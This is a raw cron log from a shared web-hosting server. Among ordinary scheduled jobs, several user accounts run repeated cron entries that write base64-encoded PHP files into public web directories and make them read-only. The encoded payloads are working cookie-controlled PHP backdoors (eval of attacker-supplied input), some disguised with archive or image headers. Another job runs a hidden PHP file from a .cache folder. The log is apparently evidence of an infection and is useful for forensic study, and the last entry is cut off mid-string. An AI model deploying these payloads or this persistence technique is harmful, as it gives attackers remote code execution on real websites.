Mar  1 07:41:01 medusa CROND[13922]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:41:01 medusa CROND[13924]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:41:01 medusa CROND[13925]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 07:42:01 medusa CROND[4302]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 07:42:01 medusa CROND[4371]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 07:42:01 medusa CROND[4372]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 07:42:01 medusa CROND[4373]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 07:42:01 medusa CROND[4375]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:42:01 medusa CROND[4377]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 07:42:01 medusa CROND[4378]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 07:42:01 medusa CROND[4379]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:42:01 medusa CROND[4376]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 07:42:01 medusa CROND[4390]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:42:01 medusa CROND[4391]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:42:01 medusa CROND[4389]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 07:42:01 medusa CROND[4393]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 07:43:02 medusa CROND[26254]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Mar  1 07:43:02 medusa CROND[26257]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 07:43:02 medusa CROND[26258]: (tipsiser) CMD (wget -O - -q -t 1 http://tipsiser.com.ar/chamilo/main/cron/run.php > /dev/null 2>&1)
Mar  1 07:43:02 medusa CROND[26261]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 07:43:02 medusa CROND[26262]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:43:02 medusa CROND[26263]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 07:43:02 medusa CROND[26259]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 07:43:02 medusa CROND[26268]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:43:02 medusa CROND[26270]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 07:43:02 medusa CROND[26274]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:43:02 medusa CROND[26275]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 07:43:02 medusa CROND[26276]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZS